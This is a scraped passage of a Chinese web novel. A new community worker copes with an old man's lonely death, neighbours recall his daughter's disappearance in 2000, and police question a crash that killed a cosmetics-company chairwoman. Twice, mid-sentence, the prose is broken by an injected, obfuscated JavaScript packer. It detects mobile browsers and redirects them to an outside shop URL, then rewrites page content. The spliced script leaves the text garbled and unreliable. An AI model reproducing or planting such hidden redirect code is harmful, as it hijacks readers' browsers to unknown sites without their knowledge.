“当时入户门是闭锁状态,我用力撞开门后进入屋内,发现死者俯卧在通往门口的走廊上,通过检查脉搏与瞳孔,初步认定已死亡。”岳持默补充道,“我发现死者唇周有呕吐物痕迹,手指有在地面爬行留下的痕迹,就这些。” “好的,老萧你们写一份完整的出警报告提交给我们,这里暂时没有你们的事了。”两位刑警与老萧握手,接管现场。 老萧带着岳持默走向在外围维持秩序的民警,加入他们。 “老沈……”予陌问离得她最近的岳持默,“最后会怎样?” 这个独女失踪,妻子失智的老人,他的身后事,会怎样处理? 岳持默垂睫看一眼离他一臂之遥的女郎,不晓得是天太热还是太紧张,她一头短发汗津津地贴在脸侧,白衬衫前襟不知在哪儿蹭了一片污渍,原本洁白的鞋子上沾满了泥污,看起来有些狼狈,但她毫无所觉,只是满心满眼都是对逝去老人身后事的担心。 “如果老人的死亡没有疑点,会联系家属,告知调查结果,由家属处理他的后事。”他言简意赅。 “这样啊……”予陌低低道。 可是,老沈的妻子罹患阿尔茨海默症,独女失踪逾二十年,还有谁能来替老人料理他的身后事呢?予陌怅然地想。 6. 等待进入网审 下午五点,周一留下值晚班的副主任催予陌赶紧下班。 “入职第一天,就碰到这么大的事,吓着了罢?早点回家,吃点好吃的,找部喜剧电影看,同亲朋好友多聊一聊,遇到的事也就不是事儿了。”吴主任也向予陌传授自己的工作经验,“别让工作影响生活。” 予陌向两位释放善意的前辈道谢,拎上自己的“草包”,回家。 一打开家门,坐守客厅的母亲楚爱珍女士便扑了过来,握住她的双臂,上下摸索,嘴里不停念叨:“哎唷我的乖乖!吓到没有?不怕、不怕!妈妈撸撸!” 说罢就身手从予陌的头顶向后一路抚摩到她的后背,来来回回好几次,才一把将她按在沙发上,“没事的啊,我做了你最爱吃的面拖小黄鱼,再来一碗雪菜黄鱼面。” 予陌拉住母亲因为年轻时在橡胶厂工作被化学制剂侵蚀而略显得有些粗糙的手,笑着安抚:“我没事,其实并没看见什么骇人的画面,只是上班第一天就遇见突发状况,所以一时有些不知所措罢了。幸好主任、副主任都在,他们都比我经验丰富,知道该怎样应对。” 楚爱珍轻轻叹息,反手捏一捏女儿的手掌,这才放开她,进厨房去下面条。 予陌回房间换下穿了一天,已经失去早晨出门时的干净挺括的白衬衫,望着前襟那一片脏污,苦笑。今天她过得浑浑噩噩,衣服脏了都不曾注意,也无人提醒,大抵是大家都晓得她上班首日的遭遇,所有也就没人苛责她罢? 换上宽松的居家服,予陌到厨房去帮母亲端菜端汤,两母女坐在饭桌前,一盘油炸得金黄酥脆的面拖小黄鱼、一盘蒜蓉炒米苋,一人一碗雪菜黄鱼面,就是她们今天的晚餐。 晚餐吃到一半的时候,苏父的视频通话邀请拨了过来,楚爱珍放下吃得差不多的面碗,接通。 “在吃晚饭吧?”苏明军的声音从彼端传来,背景有种空旷感。 予陌放下碗筷,擦擦嘴,凑到母亲身边,冲手屏幕里的父亲挥挥手:“爸爸!” 皮肤黝黑,其貌不扬的苏明军一见女儿,笑得见牙不见眼,“囡囡,今朝上班顺利吗?” 楚爱珍冲丈夫翻白眼,真是哪壶不开提哪壶! 予陌经过母亲投喂的美食抚慰,其实心情远没有上午乍见独居老人凄凉死去时那样糟糕,所有只是笑一笑,“还好,毕竟第一天嘛,还需要一个熟悉的过程,哪有那么快的。” 苏明军伸手摸摸后脑勺,憨厚地冲妻女笑。 “船快到奥克兰了罢?”予陌问父亲。 苏明军是远洋运输轮上的大副,这次随船出海前往奥克兰,航行已经两周,予陌算一算,如无意外,应该快要抵达目的地奥克兰港。 “快了、快了!”苏明军问妻女,“有没有什么礼物想要我带的啊?包包?化妆品?” “我什么都不要,爸爸早日平安归来比什么礼物都好!”予陌笑眯眯的,拈起一条面拖小黄鱼,到客厅看电视去,留给父母说悄悄话的空间。 待女儿走出饭厅,苏明军颇有些地下党接头的小心翼翼,压低声音问妻子:“囡囡今天上班不开心啊?” 楚爱珍侧头看一眼坐在客厅沙发上,一边吃面拖小黄鱼,一边打开电视看新闻的女儿,这才以同样低低的声音回问:“你哪里看出来囡囡不开心?” “我还不晓得囡囡?”苏明军有些得意,“她从小报喜不报忧,要是开心,肯定叽叽喳喳,详详细细把开心事讲给我们听。要是不开心,就会得假装无事,什么也不说。” 楚爱珍轻喟,“囡囡这副脾气,也不晓得随了谁。” 苏明军安抚妻子,“囡囡心里有数的,只是不喜欢张扬。你不要瞎想八想,来来来,转点零用钱给你们,礼拜天一起去买买买!” 结束视频通话,母女二人的手机先后响起钱币落袋的音效。 予陌坐在沙发上遥遥朝还坐在餐桌前的母亲挥挥手机,“老爸出钱,让我们去逛吃、逛吃。” 楚爱珍嗔笑,收拾碗筷,又洗了一只比拳头大不了多少的西瓜,对半切开,附上勺子,捧到客厅里,给女儿当饭后水果。 恰在此时,门铃响起。 楚爱珍嘀咕着“这么晚,谁啊”,起身去开门。 门外,站着从前的老街坊,如今的老姐妹淘,赵阿姨同白阿姨,一人手里拎着一串大蒜头,一人肩上挂着一串红彤彤的电子鞭炮。 “未芳、郁秀,你们这是做什么?”楚爱珍不是不诧异的。 赵阿姨、白阿姨反客为主,一左一右架起楚爱珍进了屋,两人一俟见到沙发上捧着半个小西瓜的予陌,便放开老姐妹,扑过去,左右护法似的,坐在她身边,一个将手里的大蒜头高举到予陌头顶,盘成一圈大蒜“天使环”,嘴里念叨着“破积以散寒,辟邪而杀鬼”①,手上的大蒜“天使环”在她头顶慢慢转圈;一个将电子鞭炮挂在予陌脖子上,打开下头的开关,电子鞭炮便不知疲倦地模拟爆竹燃放时的闪光和噼里啪啦的声响。(注①,参看清代《本草便读》) 年轻的无神论者予陌呆在当场。 楚爱珍嗔怪两位老姐妹淘:“要死快了!做什么怪?!快收起来!没事也被你们吓死!” 赵、白两位阿姨这才收了神通,微笑着抚拍予陌的后背,“好啦、好啦!小陌不怕啦!” 小陌能怎样?小陌只能微笑道谢,“谢谢赵阿姨、白阿姨,我没事。” 又起身将沙发正中当之无愧的C位让出来给母亲楚女士,自己逃进厨房洗点葡萄出来,招待两位热情的阿姨。 白阿姨一把拽住放下果盘想要从客厅战术性撤退的予陌不放,拉她坐到自己手边的沙发扶手上,对楚爱珍道:“爱珍,今天的事情我们都听说了,小陌算是碰到赤佬了,第一天上班就遇到这种事!” 楚爱珍此时心情倒平复了些,“做社区工作,生老病死,难免碰到,人生在世,也终归要面对。” 予陌当即嗔道:“妈妈!” 赵阿姨也拍了楚爱珍一巴掌,“呸呸呸!” 白阿姨提起此来最关心的问题:“听说今早发现沈老师……” 楚爱珍点点头,“我也听说了。” 赵阿姨继续握着予陌的手,侧身看向多年的街坊兼好友,“爱珍,郁秀,当年沈老师家的事,你们还记得吗?” 听得赵阿姨问起死去老人的旧事,予陌不由自主地竖起耳朵。 “记得!怎么可能不记得?!”白阿姨说起旧事,面上颜色不是不伤怀的。 那是二〇〇〇年的春节期间,港澳俱已回归,人们欢天喜地迈入新世纪,哪怕是住房环境堪忧的苏河两岸棚户区,家家户户也都张灯结彩,迎接什么千禧年的到来。 如此喜气洋洋的日子,沈逢春和刘蕾芬夫妻的天却塌了。 沈逢春是年四十八岁,在纺织工业职工大学任职,妻子刘蕾芬四十七岁,是第一百货商店的营业员,二人有一个女儿,沈佳蕙。 沈佳蕙当时十八岁,幼师毕业,却没有听从父母的安排,去当幼儿园老师,而是通过网友介绍,签约一家模特经纪公司,打算独身前往与港城一河之隔的新港特区闯荡,希望成就自己的模特梦。 沈逢春、刘蕾芬夫妻年近五十,只得这一个女儿,自然不肯教女儿孤身一人到人生地不熟的城市去,苦口婆心劝说女儿留在本埠,当一名工作稳定有寒暑假离家还近的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17293326|198492||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 幼儿园老师。 十八岁青春正盛花一样的沈佳蕙哪里听得进劝? 家中爆发激烈争吵,棚户区的房子本来隔音就差,又是夏天,左邻右舍整条弄堂都能听见刘蕾芬尖利嗓音的斥骂和沈佳蕙伤心欲绝的痛哭。 然后一日,沈佳蕙趁父母上班,偷偷拿了自己的身份证,留书一封,离家出走。 沈逢春和刘蕾芬下班回到家,发现女儿留书出走,顿时慌了,然而却对如何找到女儿全无头绪,只知道她一门心思要去当国际超模。 失魂落魄的夫妻二人直到半个月后接到女儿寄回来报平安的信,才稍稍松一口气。可惜,这稍微放下的心,只维持短短半年,便再度被搅得不得安宁。 沈佳蕙每个月都寄来报平安的信,偏偏春节期间没有如期而至。刘蕾芬顿时慌了,认为女儿不可能新年将至却不联系父母,一定是出了什么事,最后闹去了派出所报案。 往事讲到这里,赵阿姨轻叹,“说起来,蕙蕙也是狠心,说走就走,一点也不考虑父母。” “她怎么不给家里打电话?”予陌奇道。 包括楚爱珍在内三位中年妇女齐齐斜睨她。 “囡囡啊……”楚爱珍点点女儿额头,“那时候,不是家家户户都有电话的,尤其棚户区,很多人家都要到弄堂口烟纸店打公用电话。手机都还没普及呢!” “小陌不晓得也正常,我们那时候一部电话初装费要四千块,当时工资才只有几钿啊?”赵阿姨感叹,“再讲,她就是不想让家里找到她,才不打电话罢?” “哦。”予陌耸耸肩,好罢,是她生得晚。 她转过头,不再关心三位老姐妹偏到十万八千里外的八卦,一边吃葡萄,一边漫不经心地看着新闻。 电视里正新闻综合频道正在播放晚间新闻,穿着素雅大方的女主持正庄重而略带惋惜地播报一则新闻:“……昨日上午八时四十二分,内环高架发生一起重大车祸……三死一伤……” 予陌蓦然想起上午在破败棚户房洞开的门内传来的新闻播报声,忍不住微微调响电视机的音量,倾身盯住屏幕上警方提供的道路监控画面—— 一辆黑色豪华总裁车在暴雨如注的路面上行驶,然后在陡弯处毫无预兆地冲向高架护栏,斜刺里冲出高架路面,翻了下去。 画面转换至地面,交警在维持秩序,封锁事故路段,采集现场样本,主持人的声音在画面外响起:“交警部门提醒广大司机,注意道路交通安全。” 三位中年妇女的注意力也被这则新闻吸引。 “有钱人的车再好,还不是一样会出车祸?”赵阿姨慨然。 “听说是特别有钞票的大老板。”白阿姨永远站在吃瓜一线。 “你怎么知道?”楚爱珍将信将疑。 “我上午就刷到新闻推送了。”白阿姨拿出手机来,上下划了半天,找到一个自媒体号发的视频,指给两人看,“喏!” 予陌也凑过去。 那是一个做汽车测评的自媒体号,从汽车安全角度,全方位介绍这场惨烈的车祸,一则说全城仅有三辆同款车型,发生车祸这辆注册在俪人家化法人代表吕葳名下,再则说通过车祸现场视频,可以断定事故发生的责任很大可能在于司机,并通过动画演示,表示这场车祸应属于司机的操作失误云云,最后撂下一句“此视频仅为个人观点,真相等待警方公告”作为结束语。 予陌收回视线,拈起一颗葡萄,塞进嘴里,呆呆地想,无论是坐千万豪车的有钱人,还是住老旧棚户房的独居老人,谁也不晓得意外什么时候来临,死亡总是来得毫无预兆,教人措手不及。 死亡面前,吾体皆同。 7. 等待进入网审 同一时间,市公安局法医中心解剖室内,面对先后送来的四具尸体,法医老薛也在思考同样的问题。 台风过后,留下的何止是树倒花零的满地残骸?还有在这场台风中,因为各种原因死去的死者,被送到法医中心解剖室,等待验尸,给死亡下一个或寻常或残酷的注脚。 老薛逐一检查四具尸体的信息标签,一边在交接板上签字,一边调侃矗在他身旁的交警总队副队长:“何副队,什么风把你吹到我这座小庙来了?” 也不等何副队长回答,转身去问助理:“最近验尸安排从早忙到晚,这四具尸体怎么也排不到今天罢?” 助理解释:“一具是今天刚送来,交接完还没来得及进停尸柜。还有三具……” “我来说!我来说!”何副队长替助理解围,“这三具,是梧桐公安分局交警支队一大队处理的交通事故的死者。” “交通事故?”并非老薛冷血,而是不解,“交通事故致死有什么稀奇的?要你亲自来跑一趟,盯着尸检。” 何副队长搓搓手,“死者身份有些不一般,上面比较重视。” “有多不一般?”老薛掀开覆盖尸体的白布,垂首注视一具具尸体,“所有死者,送到解剖室来,无论人生起点是富贵还是贫穷,终点都一样,没有分别。” 何副队长哂然,指一指躺在停尸床上的中年女死者,“这位是在市里接受过表彰的杰出企业家、市慈善之星、纳税五十强企业俪人集团董事长,最近正带领国货化妆品牌出海,风头无两,上头相当重视,所以……” 何副队长耸耸肩,做了个“你懂的”表情。 老薛点点头,回身去望了一眼那具今天刚送来的老人的身体,在心里暗叹一声,挥挥手教助理先推进停尸柜,随后对何副队长道:“别在这里苦等了,先回去罢,我尽快把尸检报告给你。” 何副队长冲老薛作揖,“谢谢您叻!” 他还得去医院,去给经抢救后脱离危险的幸存者做问询。 何副队长赶到第一人民医院住是,已是晚上八点。 他同开车的总队交警小宋在医院楼下快餐店各买了一份汉堡可乐套餐,坐在车里三口两口吃完,才下了车往住院部走去。 “对这起交通事故,你有什么看法?”何副队长问小宋。 小宋稍作思考,斟酌着道:“由梧桐区交警支队一大队做的现场勘验报告上看,这是一场因司机突发身体不适导致的车祸,从事故车辆行车记录仪提取的视频影像,也佐证了这一推论。” “那你认为车祸是单纯的意外,还是人为?”何副队长再问。 小宋一愣,“在没有强有力的证据支撑前提下,不能排除任何可能性。” 何副队长睇了一个“孺子可教也”的眼神给小宋,踏进住院部底楼电梯。 两人搭乘电梯,来到重症监护室所在楼层,小宋出示证件后询问护士站值班护士:“昨天车祸送来抢救的病人何姗芷在哪间病房?情况怎么样?我们现在能找她谈话吗?” 护士查看记录,回答了前两个问题:“患者在三号监护室,已脱离生命危险。” 至于能否找她谈话,护士表示:“这要问值班医生。” 被护士电话召唤来的值班医生眼下有浓重青痕,心气不太顺的样子,对何副队长二人道:“重症监护室、重症监护室!懂不懂什么叫‘重症监护’?就是随时随地需要密集监护和高级生命支持的患者住的病房,每天晚上都可能面临突发的紧急抢救,需要争分夺秒与死神赛跑,能不能不要打扰我们的工作?” 面嫩的小宋迭声道歉,何副队长是久经考验的老警察了,面对医生的怨气,仍然心平气和地问:“既然患者已经脱离生命危险,能不能通融一下,让我们进去问两句话?” 值班医生“呵”一声,“今天你来通融,明天他来通融,你们当医院制定的制度是儿戏?在患者转至普通病房前,请严格遵守重症监护室的探视时间,下午三点到五点之间,限时三十分钟。” 说罢,值班医生扬长而去。 护士站里的护士为医生转圜:“他今晚抢救的一名病人没能救回来。” 小宋面红耳赤,何副队长叹一口气,“理解,都是为了工作。” 两人离开医院,何副队长让小宋开车,“先回队里罢。” 坐在车里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17293327|198492||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,望着已然过了晚高峰时间段的街道,何副队长脑海里一遍又一遍复盘着他看到的车祸现场视频。 俪人集团作为港资与内资联合创办的股份有限公司,规模堪比国有独资家化集团,年营业额和纳税额都名列本市前茅,最近更是积极推进国货出海,在全球多座大都市进行品牌快闪活动,将俪人集团旗下的化妆品轰轰烈烈推向国际,影响力惊人。 而俪人集团董事长吕葳女士更是在慈善领域有着杰出贡献,专为贫困女生设立助学基金,赞助品学兼优的女生完成高等教育学业,在俪人集团设立多个实习岗位,以帮助她们完成从学校到社会的过渡。可以说,吕女士其人,在企业界和慈善界,都拥有非同寻常的地位。 因而当市委领导获悉七月二十七日这场台风席卷本城时所出的这场三死一重伤的重大事故里,其中一位死者是俪人集团董事长吕葳,立刻给予高度重视,要求交警部门务必调查清楚事故的原因,所以这起交通事故的调查第一时间移交给了交警总队。 行车记录仪与道路监控两个不同角度录下的画面中,都忠实无伪地记录下这场惨烈事故发生的瞬间。 行车记录仪第一视角的影像中,能听见一管女声惊呼“汪师傅”,随后视角疾速前冲、腾空、翻转、坠落、撞击,伴随着惊慌失措的人声、物体腾落碰撞的声响、高高低低的呻吟……最终在大雨冲刷下逐渐隐没消失。 高架道路监控视频的第三视角则清晰记录了本该减速过弯的汽车是怎样如同一匹脱缰野马加速冲向弯道,一点试图刹车的迹象也无,仿佛好莱坞动作电影中的特效腾空冲出高架护栏,翻转俯冲,消失在监控视频范围内。 何副队长回忆在事故中当场死亡的司机汪福林的资料,脑海中回荡着巨大的疑问:一个有二十多年驾龄的司机,肌肉记忆都会促使他做出确保安全的操作,什么情况才会令得他违背本能,完全未曾尝试自我拯救? 事故中司机汪福林和后座乘客吕葳、潘凌志当场死亡,副驾上的徐姗芷因系了保险带,总算保住一条命,但情况也不容乐观。 何副队长捏一捏眉心,只能先从司机汪福林当天的行动轨迹着手调查了。